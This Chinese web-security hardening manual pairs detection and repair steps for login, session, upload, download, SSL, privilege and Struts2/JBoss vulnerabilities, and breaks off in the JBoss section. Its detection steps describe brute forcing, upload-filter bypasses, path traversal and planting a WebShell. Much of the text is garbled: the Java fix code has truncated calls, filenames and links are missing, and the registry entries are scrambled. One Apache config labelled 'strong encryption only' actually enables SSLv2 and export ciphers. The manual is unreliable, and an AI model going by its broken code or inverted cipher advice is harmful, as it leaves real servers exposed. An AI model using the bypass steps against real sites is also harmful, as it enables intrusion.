Web安全漏洞加固手册

Web安全漏洞加固手册

目录

1. Web安全漏洞检测与修复 .................................................................................................................................................................................................................................................................. 2

1.1 认证和授权类 .......................................................................................................................................................................................................................................................................... 2

2. 命令执行类 ...................................................................................................................................................................................................................................................................................... 12

2.1.1 Struts2 远程命令执行 ....................................................................................................................................................................................................................... 12

2.1.2 Jboss 远程代码执行 ........................................................................................................................................................................................................................................................... 13

2.1.3 远程代码执行漏洞 ............................................................................................................................................................................................................................................ 14

2.1.4 文件包含 ............................................................................................................................................................................................................................................................................. 14

3. 逻辑攻击类 ...................................................................................................................................................................................................................................................................................... 15

3.1.1 验证码功能缺失 ................................................................................................................................................................................................................................................................. 15

3.1.2 并发漏洞 ............................................................................................................................................................................................................................................................................. 15

3.1.3 慢速 HTTP攻击 Slow HTTP Attack ............................................................................................................................................................................................................................... 16

3.1.4 短信攻击 ............................................................................................................................................................................................................................................................................. 16

4. 注入攻击类 ...................................................................................................................................................................................................................................................................................... 17

4.1.1 SQL注入 ............................................................................................................................................................................................................................................................................. 17

4.1.2 XML注入 ............................................................................................................................................................................................................................................................................ 18

4.1.3 CRLF注入 ........................................................................................................................................................................................................................................................................... 19

4.1.4 XFF注入 ............................................................................................................................................................................................................................................................................. 19

4.1.5 XPATH 注入....................................................................................................................................................................................................................................................................... 21

4.1.6 命令注入 ............................................................................................................................................................................................................................................................................. 22

4.1.7 链接或框架注入 ................................................................................................................................................................................................................................................................. 22

4.1.8 Json hijacking/Json劫持注入 .............................................................................................................................................................................................................................................. 23

4.1.9 宽字节注入 ......................................................................................................................................................................................................................................................................... 24

5. 客户端攻击类 .................................................................................................................................................................................................................................................................................. 25

5.1.1 XSS跨站脚本攻击漏洞 ...................................................................................................................................................................................................................................................... 25

5.1.2 跨站请求伪造（ CSRF） ................................................................................................................................................................................................................................................. 26

5.1.3 不安全的 HTTP方法 ........................................................................................................................................................................................................................................................ 27

6. 信息泄漏类 ...................................................................................................................................................................................................................................................................................... 29

6.1.1 目录浏览 ............................................................................................................................................................................................................................................................................. 29

6.1.2 Web服务器控制台地址泄漏........................................................................................................................................................................................................................................... 29

6.1.3 PHPInfo() 信息泄漏 ........................................................................................................................................................................................................................................................... 29

6.1.4 POODLE 信息泄露漏洞 .............................................................................................................................................................................................................................................. 30

7. 其他 .................................................................................................................................................................................................................................................................................................. 34

7.1.1 跨域访问漏洞 ..................................................................................................................................................................................................................................................................... 34

7.1.2 URL重定向 ......................................................................................................................................................................................................................................................................... 35

7.1.3 DNS域传送漏洞 ................................................................................................................................................................................................................................................................. 36

7.1.4 Web服务器多余端口开放 ................................................................................................................................................................................................................................................. 37

7.1.5 PHP multipart/form-data远程 DOS漏洞 .......................................................................................................................................................................................................................... 37

7.1.6 Padding Oracle 攻击 .......................................................................................................................................................................................................................................... 39

7.1.7 HTTP Host 头攻击 ............................................................................................................................................................................................................................................................. 39

1. Web安全漏洞检测与修复

1.1 认证和授权类

1.1.1 密码明文传输

漏洞名称

漏洞描述

密码明文传输一般存在于web网站登录页面，用户名或者密码采用了明文传输，容易被嗅探软件截取。

密码明文传输

检测条件

1、已知Web网站具有登录页面。

1、网站或者 web系统登录页面。

2、 通过过对网站登录页面的请求进行抓包，工具可用burp、ireshark、filder、等等，分析其数据包中相关password 密码）参数的值是否为明文。如图利用wireshark 抓包分析的密码：

检测方法

建议按照网站的密级要求，需要对密码传输过程中进行加密得使用加密的方式传输，如使用 HTTPS， 但加密的方修复方案

其他说明

式增加成本，或许会影响用户体验。 如果不用 HTTPS，可以在网站前端用Javascript做密码加密，加密后再进行传输。

1.1.2 用户名可枚举

漏洞名称 用户名可枚举

漏洞描述

存在于系统登录页面， 利用登陆时输入系统存在的用户名错误密码和不存在的用户名错误密码，返回不同的出错信息可枚举出系统中存在的账号信息。

检测条件

1、 已知Web网站具有登录页面。

2、 登录错误回显不一至。

1、 找到网站或者web系统登录页面。

2、 在web系统登录页面，通过手工方式，利用系统中存在的用户名和不存在的用户名，密码随意，尝试登录，查看其回显内容。例如：输入存在的用户名admin，显如下：密码错误；

例如：输入不存在的用户名test ，回显如下：用户不存在。如图所示：

检测方法

修复方案

建议对网站登录页面的判断回显信息修改为一致：用户名或密码错误

其他说明

1.1.3 暴力攻击

漏洞名称 暴力攻击、暴力破解、暴力猜解

暴力破解的基本思想是根据题目的部分条件确定答案的大致范围， 并在此范围内对所有可能的情况逐一验证，直到漏洞描述

全部情况验证完毕。若某个情况验证符合题目的全部条件，则为本问题的一个解；若全部情况验证后都不符合题目的全部条件，则本题无解。常常存在于网站的登录系统中，通过对已知的管理员用户名，进行对其登录口令的大量尝试。

检测条件

1、Web网站具有登录页面

2、页面无验证码，无锁定机制。

1、找到网站登录页面

2、利用 burp 对登录页面进行抓包， 将其发送到 Intruder, 并设置其密码参数， 如pwd=为变量，添加 payload

（字典），进行攻击，攻击过程中查看其返回的字节长度， 来判断是否成功。攻击效果如图所示：

检测方法

防止暴力攻击的一些方法如下：

1、 账户锁定

账户锁定是很有效的方法，因为暴力破解程序在5-6 次的探测中猜出密码的可能性很小。 但是同时也拒绝了正常用户的使用。如果攻击者的探测是建立在用户名探测 成功之后的行为， 那么会造成严重的拒绝服务攻击。 对于对大量用户名只用一个密码的探测攻击账户锁定无效。如果对已经锁定的账户并不返回任何信息，

2、 返回信息

如果不管结果如何都返回成功的信息，破解软件就会停止攻击。但是对人来说很快就会被识破。

3、 页面跳转

修复方案

产生登录错的的时候就跳到另一个页面要求重新登录。比如 126和校内网都是这样做的。局限性在于不能总是跳转页面，一般只在第一次错误的时候跳转，但是第一次之后又可以继续暴力探测了。

4、 适当的延时

检查密码的时候适当的插入一些暂停，可以减缓攻击，但是可能对用户造成一定的影响。

5、 封锁多次登录的 IP 地址

这种方法也是有缺点的，因为攻击者可以定时更换自己的IP 。

6、 验证码

验证码是阻止暴力攻击的好方法，但设计不好的验证码是可以绕过的， 而且对于特定目标的手工探测来说验证码是没有作用的。

其他说明

可能迷惑攻击

1.1.4 会话标识未更新

漏洞名称 会话操纵、会话标识未更新

会话标识未更新漏洞，在用户进入登录页面，但还未登录时，就已经产生了一个

漏洞描述

session ，用户输入信息，登录以后，session 的id 不会改变，也就是说没有建立新session ，原来的 session 也没有被销毁）,可能会窃取或操纵客户会话和cookie ，它们可能用于模仿合法用户，从而使黑客能够以该用户身份查看或变更用户记录以及执行事务。

1、 已知WEB网站地址

检测条件

2、 Web业务运行正常

3、 Web业务存在登陆认证模块

4、 已知正确的用户名、口令

1、 打开网站登录页面

2、 登陆前通过软件工具抓取到的 cookie 信息值与在登录后抓取到的 cookie 进行对比，如果其值一样，则可判断其会话的 cookies 或者sessions 未进行更新。

检测方法

登录前： Cookie: JSESSIONID=0000QG_uEL3xnYACkk2dHbZtcJy:-1

登录后： Cookie: JSESSIONID=0000QG_uEL3xnYACkk2dHbZtcJy:-1

始终生成新的会话，供用户成功认证时登录登陆界面和登陆成功的界面一致时，

修改后台逻辑，在验证登陆逻辑的时候，先强制让当前 session 过期，然后用新的session 存储信息：登陆界面和登陆成功的界面不一致时在登陆界面后增加下面一段代码，强制让系统 session 过期

修复方案

sion().invalidate();// 清 空 session

Cookie cookie = kies()[0];//

Age(0);// 让 cookie 过期

注意：这段代码需要在页面的最后部分加上才可以，否则将报错；

其他说明

获取 cookie

1.1.5 未授权访问

漏洞名称

漏洞描述

未授权访问

未授权访问漏洞，是在攻击者没有获取到登录权限或未授权的情况下，或者不需要输入密码，即可通过直接输入网站

控制台主页面地址，或者不允许查看的链接便可进行访问，同时进行操作。

1、 已知Web网站具有登录页面。或者具有不允许访问的目录或功能。

2、 不用登录，可通过链接直接访问用户页面功能。

1、通过对登录后的页面进行抓包，将抓取到的功能链接，在其他浏览器进行打开，

检测方法 2、也可以通过 web扫描工具进行扫描，爬虫得到相关地址链接，进行直接访问，如果未进行跳转到登录页面，则可判断为存在未授权访问漏洞。

常见的修复方法：在系统中加入用户身份认证机制或者 tonken 验证，防止可被直接通过连接就可访问到用户的功能进行操作，简而言之，一定对系统重要功能点增加权限控制，对用户操作进行合法性验证，下列为针对常见的 JSP语言编写的网站的安全修复方案：

1、采用JAVA过滤器技术，对/pages 下所有 URL进行登录状态检查，通过ribute()方法从 session 中获取登录成功时存入session中的身份标识，判断客户端传递过来的身份标识是否与session中保存的一致，不一致

则跳转到登录页面。

修复方案

关键代码如下从

//session 里取的用户名信息

String username = (String) ribute("userID");

//getAttribute 中变量根据实际变量传入。

检测条件

// 判断如果没有取到用户信息 , 就跳转到登陆页面

if ((username == null) || "".equals(username)) {

// 跳转到登陆页面

direct(""+der("Host")

+"/login_");}

else {

// 已经登陆 , 继续此次请求

er(req, res); }}

2、进行权限判断，以下代码为过滤器程序，通过会话获取用户身份信息，进行权限判断等操作：

// 在配置文件中设置过滤器

SessionFilter

nFilter

SessionFilter

/pages/*

----------------------------------------------------------------------------------------------

// 后台过滤程序

public void doFilter(ServletRequest request,

ServletResponse response,FilterChain chain) throws

IOException, ServletException {

HttpServletRequest req = (HttpServletRequest) request;

HttpServletResponse res = (HttpServletResponse) response;

HttpSession session = sion(true);

// 从session 里取的用户名信息

String username = (String) ribute("userID");

//getAttribute 中变量根据实际变量传入。

// 判断如果没有取到用户信息 , 就跳转到登陆页面

if ((username == null) || "".equals(username)) {

// 跳转到登陆页面

direct("" + der("Host") +"/login_");}

else {

// 已经登陆 , 继续此次请求

er(req, res);

public void destroy() { }

}

其他说明

} }

1.1.6 文件上传漏洞

漏洞名称 文件上传漏洞、任意文件上传

文件上传漏洞，直面意思可以利用WEB上传一些特定的文件。一般情况下文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。文件上传本身是web中最为常见的一种功能需求，关键是文件上传之后服务器端的处理、解释文件的过程是否安全。一般的情况有：

漏洞描述 1. 上传文件 WEB脚本语言，服务器的 WEB容器解释并执行了用户上传的脚本，导致代码执行；

2. 上传文件 FLASH策略文件 ，以此来控制 Flash 在该域下的行为；

3. 上传文件是病毒、木马文件，攻击者用以诱骗用户或管理员下载执行；

4. 上传文件是钓鱼图片或为包含了脚本的图片，某些浏览器会作为脚本执行，实施钓鱼或欺诈；

1、已知Web网站在登录前或者登录后具有上传页面。

检测条件

2、传的文件具备可执行性或能够影响服务器行为，所以文件所在的目录必须在WEB容器覆盖的路径之内；

3、用户可以从 WEB上访问这个文件，从而使得WEB容器解释执行该文件；

4、上传后的文件必须经过安全检查，不会被格式化、压缩等处理改变其内容；

上传方式根据不同的web语言，检测方法也各式各样，以下列举基于JS验证的上传的几种常见的文件上传绕过方法：

1、我们直接删除代码中

如图：

onsubmit 事件中关于文件上传时验证上传文件的相关代码即可。

2、直接更改文件上传JS代码中允许上传的文件扩展名你想要上传的文件扩展名，如图所示：

3、使用本地提交表单即可，如下图，作相应的更改，如图所示：

检测方法

4、使用burpsuite 或者是 fiddle 等代理工具提交，本地文件先更改为jpg ，上传时拦截，再把文件扩展名更改为 asp 即可，如图所示

5、当然也有不是基于JS验证的上传，例如一些中间件IIS ，Nginx, PHP,FCK编辑器等等的解析漏洞，其上传绕过方式也是多种多样。通过对上传页面进行检查，常见的文件上传检查针对文件类型进行，可以使用手动修改POST包然后添加%00字节用于截断某些函数对文件名的判断。除了修改文件名来绕过类型检查外，还可以修改文件头来伪造文件头，欺骗文件上传检查，如图，修改文件头中的类型来进行绕过：

以上为几种常见的上传，更多的还需自行研究，进行上传绕过。 以下为总体的测试流程

1、登陆网站，并打开文件上传页面

2、点击“浏览”按钮，并选择本地的一个JSP文件（比如），确认上传。

3、如果客户端脚本限制了上传文件的类型（比如允许 gif 文件），则把 更名为 ；配置

HTTPProxy （ burp ）进行 http 请求拦截； 重新点击“浏览”按钮，并选择，确认上传。

4、在 WebScarab拦截的 HTTP请求数据中， 将 修改为 ， 再发送请求数据。

5、登陆后台服务器，用命令 find / -name 查看 文件存放的路径。 如果可以直接Web方式访问，则构造访问的URL并通过浏览器访问，如果可以正常访问，则已经取得WebShell，测试结束。如果 无法通过 web 方式访问，例如存放在 /home/tmp/ 目录下，而/home/tomcat/webapps目录对应/，则进行下一步

6、重复1～ 3 ，在burp拦截的 HTTP 请求数据中，将 修改为../tomcat/webapps/ ，再发送请求数据。在浏览器地址栏输入/ ，访问该后门程序，取得WebShell ，结束检测

针对文件上传漏洞的特点和必须具备的三个条件，我们阻断任何一个条件就可以达到组织文件上传攻击的目的：

1、 最有效的，将文件上传目录直接设置为不可执行，对于Linux 而言，撤销其目录的'x'权限；实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理， 一是方便使用缓存加速降低能耗，二是杜绝了脚本执行的可能性；

修复方案

2、 文件类型检查：强烈推荐白名单方式，结合MIME Type、后缀检查等方式（即只允许允许的文件类型进行上传）；此外对于图片的处理可以使用压缩函数或resize 函数，处理图片的同时破坏其包含的HTML代码；

3、 使用随机数改写文件名和文件路径，使得用户不能轻易访问自己上传的文件；

4、 单独设置文件服务器的域名；

其他说明

1.1.7 任意文件下载漏洞

漏洞名称

任意文件下载，文件遍历下载。

目录遍历（任意文件下载） 漏洞不同于网站目录浏览， 此漏洞不仅仅可遍历系统下 web中的文件， 而且可以浏览或者下载到系统中的文件，攻击人员通过目录遍历攻击可以 获取系统文件及服务器的配置文件等等。一般来说，漏洞描述

他们利用服务器API、文件标准权限进行攻击。严格来说，目录遍历攻击并不是一种web漏洞，而是网站设计人员的 设计“漏洞”。如果web设计者设计的 web内容没有恰当的访问控制，允许http 遍历，攻击者就可以访问受限的目录，并可以在web根目录以外执行命令。

检测条件

1、网站 URL中存在下载参数，并且未进行过滤 ../../../ 字符。

通过 web漏洞扫描工具对网站实施扫描可能发现目录遍历或者任意文件下载漏洞，发送一系列” ../ ”字符来遍历高层目录，并且尝试找到系统的配置文件或者系统中存在的敏感文件。

检测方法 2、 也可通过判断网站语言，并根据其url 中部分提供的参数，进行构造相关的路径信 息 ， 如 收 集 到 网 站 中

间件版本为apache ，则 想 办 法 构 造 ../../../ WEB-INF/ 等，然后查看其是否可被下载出来。 随后可构造下载系统文件。

修复方案 1、净化数据：对用户传过来的文件名参数进行硬编码或统一编码，对文件类型进行白名单控制，对包含恶意字符或

者空字符的参数进行拒绝。

2、web应用程序可以使用chroot环境包含被访问的web目录，或者使用绝对路径+参数来访问文件目录， 时使其即使越权也在访问目录之内。www目录就是一个chroot 应用. 由chroot 创造出的那个根目录，叫做“chroot 监狱” （所谓 " 监狱" 就是指通过chroot 机制来更改某个进程所能看到的根目录，即将某进程限制在指定目录 中，保证该进程只能对该目录及其子目录的文件有所动作，从而保证整个服务器的安全。详细具体chroot的用法，可参考：

/frozen_fish/article/details/2244870

3、 任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生， 例如 ibm的websphere的任意文件下载漏洞，需更新其中间件的版本可修复。

4、 要下载的文件地址保存至数据库中。

5、 文件路径保存至数据库，让用户提交文件对应ID下载文件。

6、 用户下载文件之前需要进行权限判断。

7、 文件放在 web无法直接访问的目录下。

8、 不允许提供目录遍历服务。

9、 公开文件可放置在web应用程序下载目录中通过链接进行下载。

参考代码：

public String download() throws Exception {

// 获取文件 id

String id = uest().getParameter("id");

try {

// 通过 id 进行文件查询

DownloadFile downFile=tityById(ong(id));//获取该附件的类型

byte[] bt=null;

bt=tent();

HttpServletResponseres=ponse();

();

tentType("application/x-msdownload"); der("Content-Disposition",

"attachment;filename="+(e(),"UTF-8"));

OutputStream out= putStream(); (bt);

();

();

} catch (Exception e1) {

tackTrace(

);

}

return null;

}

其他说明

1.1.8 脆弱的 SSL加密算法

漏洞名称

漏洞描述

弱加密算法、脆弱的加密算法、脆弱的 SSL加密算法、 openssl 的FREAK Attack 漏洞

脆弱的 SSL加密算法，是一种常见的漏洞，且至今仍有大量软件支持低强度的加密协议，包括部分版本的 openssl 。其实，该低强度加密算法在当年是非常安全的，但时过境迁，飞速发展的技术正在让其变得脆弱。 黑客可利用 SSL

弱加密算法漏洞进行SSL中间人攻击，即强迫服务器和用户之间使用低强度的加密方式，然后再通过暴力破解，窃取传输内容。强度较弱的加密算法将不能较好的保证通信的安全性，有被攻击者破解的风险。对于linux中openssl 的FREAKAttack 漏洞，该漏洞是由于OpenSSL库里的s3_clnt.c文件中，ssl3_get_key_exchange函数，允许客户端使用一个弱RSA秘钥，向 SSL服务端发起 RSA-to-EXPORT_RS的A 降级攻击，以此进行暴力破解， 得到服务端秘钥。此问题存在于 OpenSSL版本 0.9.8zd 之前, 或1.0.0p 之前的 1.0.0 ，或1.0.1k 之前的 1.0.1 。

1、已知Web网站开放 443端口（ https ）。

检测条件

2、 开启了SSL协议。

1、对于 windows中的检测方法：通过加密算法检测工具，与网站系统进行加密算法枚举通信， 探测系统存在的加密算法及位数情况。利用SSLciphercheck 软件，通过 CMD下运行，进行协议探测进行检测命令：“-h

ip地址或者域名-p 443”，

2、对于 openssl 的FREAKAttack 漏洞，检测如下：https 远程检查方法（看一个网站是脆弱的RSA弱密钥攻击，

你可以使用 OpenSSL命令）：openssl s_client-connect :443 -cipher EXPORT，如果你看到”alert

handshake failure”这句话就说明该网站是安全

检测方法

RedHat系列检查命令： rpm -qa|grep openssl

DebianUbuntu 系列检查命令 : dpkg -l|grep openssl

以下为针对脆弱的SSL加密算法漏洞的修复建议，其中包括IIS 、apache、和 windows本身的一些安全建议方法：1、对于 linux 中openssl 的FREAKAttack 漏洞，如果因为生产环境无法直连外网或是变更配置管理等原因而不便更新补丁, 可以采取以下临时修复方法：

a) 禁用出口级弱加密算法在命令行使用：openssl ciphers MEDIUM。

b) 禁止apache服务器使用出口级加密算法：vi /etc/httpd/conf.d/；增加如下配置：SSLCipherSuite

修复方案

HIGH:!aNULL:!MD5:!EXP；需要重启apache服务：/etc/init.d/httpd restart。

c) 关于nginx加密算法：1.0.5及以后版本，默认SSL密码算法是HIGH:!aNULL:!MD5；0.7.65、0.8.20及以后版本，默认SSL密码算法是HIGH:!ADH:!MD5；0.8.19版本，默认SSL密码算法是：ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM；0.7.64、0.8.18及以前版本，默认SSL密码算法是ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP；低版本的nginx或没注释的可以直接修改域名下ssl相关配置为ssl_ciphers HIGH:!aNULL:!MD5;需要nginx重新加载服务：/etc/init.d/nginx reload

2、 对于IIS 中SSL，修复方案为：

a) 在 IIS管理器中，双击本地计算机，然后右键单击所需的某个网站、目录或文件，然后单击“属性”。

b) 在“目录安全性” 或“文件安全性” 选项卡的 “安全通信” 下面，单击“编辑” 。

c) 在“安全通信”框中，选中“需要安全通道(SSL) ”复选框。

d) 如果需要使用128 位加密，请选择“要求128位加密”复选框。

e) 单击“确定”。

3、对于Apache的修复方案为：

a) 禁用它只需几分钟的时间。例如，在Apache v2 中，你只需要改变默认设置：

SSLProtoco all

To

SSLProtocol all -SSLv2

b) 如何建立一个仅使用SSLv2的服务器：

可以这样建立一个仅使SSLv2协议及其密码算法的服务器：

SSLProtocol -all +SSLv2

SSLCipherSuite SSLv2:+HIGH:+MEDIUM:+LOW:+EXP

c) 如何建立一个仅接受强加密请求的SSL服务器：

如下为仅使用最强的七种密码算法：

SSLProtocol -all +SSLv2

SSLCipherSuite SSLv2:+HIGH:+MEDIUM:+LOW:+EXP

d) 如何建立一个仅接受强加密请求的SSL服务器，而又允许对外浏览器使用更强的加密：这个功能被称为以服务器为网关的加密(Server Gated Cryptography [SGC]) ，在ID文档中有详细说明。简单地说就是： 服务器拥有一个由来自 Verisign的一个特殊的 CA证书签发的服务器身份证，从而在对外浏览器上实现强加密。其过程如下：浏览器使用对外密码进行连接，服务器返回其全局 ID 身份证，浏览器校验后在后继HTTP通讯产生之前提升其密码组。现在的问题是：如何允许这样的提升，而又强制性地使用强加密。换句话说就是：浏览器必须在开始连接时就使用强加密，或者提升到强加密，但是维持对外密码是不允许的。以下巧妙地解决了这个问题：

# 允许在初始握手阶段使用所有的密码，

# 以允许对外服务器通过SGC功能提升密码组 SSLCipherSuite

ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL

# 但是最终会拒绝所有没有提升密码组的浏览器

SSLRequire %{SSL_CIPHER_USEKEYSIZE} >= 128

e) 如何建立接受所有类型密码的SSL服务器，但对特定的 URL实施强加密: 显然，不能使用服务器全局设置SSLCipherSuite，它会限制密码为强类型。 但是，mod_ssl允许重配置针对目录的密码组，并自动进行一个带有服从新配置的SSL 参数的重协商。因此，其解决方案成了：

# 在一般情况下的处理是宽松的

SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL

# 但对于hostname/strong/area/ 及其以下的内容

# 要求强密码

SSLCipherSuite HIGH:MEDIUM

具体详细方案，可参考：/apache/

4、对于 windos 系统中，禁用 SSL弱加密算法修复方案：

a) windows server 2003注册表可能与以下的不同。解决方案：Windows Server 2008 支持下列协议：•SSL 2.0 •SSL

3.0•TLS 1.0。Windows Server 2008 R2 和 Windows 7 支持下列协议：•SSL 2.0 •SSL 3.0•TLS 1.0•TLS 1.1•TLS

1.2，对于服务器或客户端体系结构，可以禁用这些协议。这意味着可以省略该协议，或将其禁用。如果要禁用SSL-V2.0，采用如下方案：

SSL 2.0 的服务器计算机上的注册表位置如下所示：HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL

2.0Server

（1）若要启用 SSL 2.0，请执行以下步骤：

1.在客户端计算机上，将 DisabledByDefault DWORD 值设置为 00000000。

2.在服务器计算机上，将启用的 DWORD 值设置为 0xffffffff。

3.重新启动计算机。

（2）若要禁用 SSL 2.0，请执行以下步骤：

1.在客户端计算机上，将 DisabledByDefault DWORD 值设置为 00000001。

2.在服务器计算机上，将启用 DWORD 值设置为 00000000。

3.重新启动计算机。

2、SCHANNEL 键部分、 方法或任务包含一些介绍如何修改注册表的步骤。但是，如果不正确地修改了注册表，可能会出现严重的问题。因此，请确保仔细按照下列步骤操作。为增加保护，对其进行修改之前备份注册表。然后，您可以在出现问题时还原注册表。：

SCHANNEL 键位置： HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersSCHANNEL 以下为常见的SCHANNEL键子项，包含弱加密算法的一些禁用方法：

（1）56/128 SCHANNELCiphersRC4 子项：RC4 64/128，若要允许此密码算法，更改到已启用值的 DWORD 值数据

0xffffffff.否则，更改到的 DWORD 值数据 0x0.如果您不配置启用值，默认情况下启用。

（2）56/128 SCHANNELCiphersRC2 子项：RC4 56/128，56 位 RC4 引用此注册表项。若要允许此密码算法，更改到已启用值的 DWORD 值数据 0xffffffff.否则，更改到的 DWORD 值数据 0x0.如果您不配置启用值，默认情况下启用。

（3）SCHANNELCiphersRC2 56/56 子项：RC2 56/128，56 位 RC2 引用此注册表项。若要允许此密码算法，更改到已启用值的 DWORD 值数据 0xffffffff.否则，更改到的 DWORD 值数据 0x0.如果您不配置启用值，默认情况下启用。

（4）SCHANNELCiphersRC4 40/128 子项：DES 56，56 位 DES 作为指定 FIPS 46-2 中引用此注册表项。FIPS 140-1

加密模块验证计划下，它的 和 文件中的实现进行验证。若要允许此密码算法，更改到已启用值的 DWORD 值数据 0xffffffff.否则，更改到的 DWORD 值数据 0x0.如果您不配置启用值，默认情况下启用。

（5）SCHANNELCiphersRC2 40/128 子项：RC4 40/128，这指的是 40 位 RC4。若要允许此密码算法，更改到已启用值的 DWORD 值数据 0xffffffff.否则，更改到的 DWORD 值数据 0x0.如果您不配置启用值，默认情况下启用。

（6）SCHANNELCiphersNULL 子项：RC2 40/128，40 位 RC2 引用此注册表项。若要允许此密码算法，更改到已启用值的 DWORD 值数据 0xffffffff.否则，更改到的 DWORD 值数据 0x0.如果您不配置启用值，默认情况下启用。

（7）SCHANNELHashesSHA 子项：MD5，若要允许此哈希算法，将启用值的 DWORD 值数据更改为默认值 0xffffffff.否则，更改到的 DWORD 值数据 0x0.有效地禁用此算法时，不允许以下：•SSL_RSA_EXPORT_WITH_RC4_40_MD5，•SSL_RSA_WITH_RC4_128_MD5，•SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5，•TLS_RSA_EXPORT_WITH_RC4_40_MD5，•TLS_RSA_WITH_RC4_128_MD5，•TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5。

（8）SCHANNEL/KeyExchangeAlgorithms 子项：SHA，此注册表项是指安全哈希算法 (sha-1)，指定 FIPS 180-1 中。FIPS 140-1 加密模块验证计划下，它的 和 文件中的实现进行验证。若要允许此哈希算法，将启用值的 DWORD 值数据更改为默认值 0xffffffff.否则，更改到的 DWORD 值数据 0x0.有效地禁用此算法时，不允许以下： •SSL_RSA_WITH_RC4_128_SHA，•SSL_RSA_WITH_DES_CBC_SHA，•SSL_RSA_WITH_3DES_EDE_CBC_SHA，•SSL_RSA_EXPORT1024_WITH_DES_CBC_SHA，•SSL_RSA_EXPORT1024_WITH_RC4_56_SHA，•TLS_RSA_WITH_RC4_128_SHA，•TLS_RSA_WITH_DES_CBC_SHA，•TLS_RSA_WITH_3DES_EDE_CBC_SHA，•TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA，•TLS_RSA_EXPORT1024_WITH_RC4_56_SHA。

其他说明 /weixin_39934520/article/details/107150490

1.1.9 越权访问

漏洞名称 越权访问、

越权访问，这类漏洞是指应用在检查授权（ Authorization ）时存在纰漏，使得攻击者在获得低权限用户帐后后，可以利用一些方式绕过权限检查，访问或者操作到原本无权访问的高权限功能。 在实际的代码安全审查中， 这类漏洞往往很难通过工具进行自动化检测，因此在实际应用中危害很大。其与未授权访问有一定差别。目前存

在着两种越权操作类型：横向越权操作和纵向越权操作。 前者指的是攻击者尝试访问与他拥有相同权限的用户的资源；而后者指的是一个低级别攻击者尝试访问高级别用 户的资源 , 如图所示的情况。

漏洞描述

1、 Web业务存在不同级别的权限（角色）

检测条件 2、 可通过用户名登录网站内进行功能的操作。

3、 Web业务正常运行

1、 以超管 admin （高权限用户） 身份登录系统

2、 找 到 一 个 只 有 超 管 （ 高 权 限 ） 才 有 的 功 能 的 链 接 , 比 如说:"localhost/mywebappname/userManage/" , 显示出所有的 user, 并复制此链接

3、以普通用户登陆进系统 , 在地址栏输入 : userManage/ , 如果可以查看到其所有的 user ，则就造成了 , 普通用户的越权访问 .

检测方法

检测说明：权限管理测试更多的是进行人工分析，自动化工具无法了解页面的具体应用场景以及逻辑判断过程。因此这里的测试需要首先测试人员理解测试业务系统的逻辑处理流程，并在此基础上进行如下测试。这里有几个测试的参考依据：

页面是否进行权限判断；

页面提交的资源标志是否与已登陆的用户身份进行匹配比对；

用户登陆后，服务器端不应再以客户端提交的用户身份信息为依据，而应以会话中保存的已登陆的用户身份信息为准；必须在服务器端对每个请求 URL进行鉴权，而不能仅仅通过客户端的菜单屏蔽或者按钮 Disable 来限制。

对用户操作进行权限校验，防止通过修改参数进入未授权页面及进行非法操作，建议在服务端对请求的数据和当前用户身份做一个校验检查。流程描述：在服务器接收到用户发送的页面访问请求时，根据预设的识别策略，从用户的页面访问请求中提取该用户对应的用户唯一标识信息，同时提取所述页面访问请求对应的应答页面中的表单及该表单中不可修改参数，将所述表单及不可修改参数与所述用户唯一标识信息绑定后记录到参数列表中；

修复方案

检测到用户提交请求页面的表单时，将所述请求页面的表单及不可修改参数与该用户对应的所述参数列表中记录的表单及不可修改参数进行比对，控制该用户的访问。例如：登陆时将用户名存入 session

ribute("username",username);

在相关页面判断

if((String)ribute("username")!=admin){ (direct("")};

注意： 为自定义的错误页面

其他说明

2. 命令执行类

2.1.1 Struts2 远程命令执行

漏洞名称

漏洞描述

Struts2 远程命令执行

Struts2是在struts和WebWork的技术基础上进行了合并的全新的框架。

Struts2漏洞类型分为两种， 一种是使用缩写的导航参数前缀时的远程代码执行漏洞，另一种是使用缩写的重定向参数前缀时的开放式重定向漏洞，Struts2 远程命令执行，属于高危安全漏洞，可使黑客取得网站服务器的权限。这里我们重点描述相关远程命令执行 漏洞。Struts2的DefaultActionMapper支持一种方法，可以使用”action:” ,

“redirect:”,“redirectAction: ”对输入信息进行处理，从而改变前缀参数，这样操作的目的是方便表单中的操作。在 2.3.15.1版本以前的struts2中，没有对”action:”, “redirect:” ,“ redirectAction:”等进行处理，导致ongl 表达式可以被执行，如 s2-020 的漏洞中，利用 ognl 的 这种方式来遍历属性。

检测条件 1、 已知Web网站用了 struts 2 的框架。

1、 在了解网站所采用的结构框架后， 除去伪静态页面， 抓包或者读取页面源代码方式，查找到网站系统 url

检测方法

为.do 和.action 结尾类型后，添加相应的远程命令执行代码进行判断。

2、 例如用户可以在 / 后添加相对应struts2 漏洞的远程命令执行代码，或者直接利用工具K8 Struts2 进行检测，以下列举几种常见的执行命令exp见附件：

修复方案

其他说明

建议及时更新 struts2 的版本到最新

2.1.2 Jboss 远程代码执行

漏洞名称

漏洞描述

检测条件

Jboss 远程代码执行,Jboss 远程命令执行

JBOSS默认配置会有一个后台漏洞，漏洞发生在 ment 命名空间，中的 addURL()函数, 该函数可以远程下载一个war压缩包并解压。如果压缩包里含有webshell 文件，是直接可以解析的。

1、 被测网站采用了 JBOSS中间件架构

1、对于采用 JBOSS的网站，首先判断其版本，如果版本为1.0.x 版本，则可通过对其控制台的访问来判断，访问

127.0.0.1:8080/jmx-console/，出现以下页面，则此漏洞可被利用：检测方法

2、或者用工具 jboss_exploit_ 进行远程命令执行来判断是否存在漏洞，如图所示：

给jmx-console 加上访问密码并且执行以下修复方式：

1、在${}/deploy下面找到目录编辑WEB-INF/文件去掉security-constraint块的注释，使其起作用。

2、 编辑以下文件： 编辑

WEB-INF/classes/ties

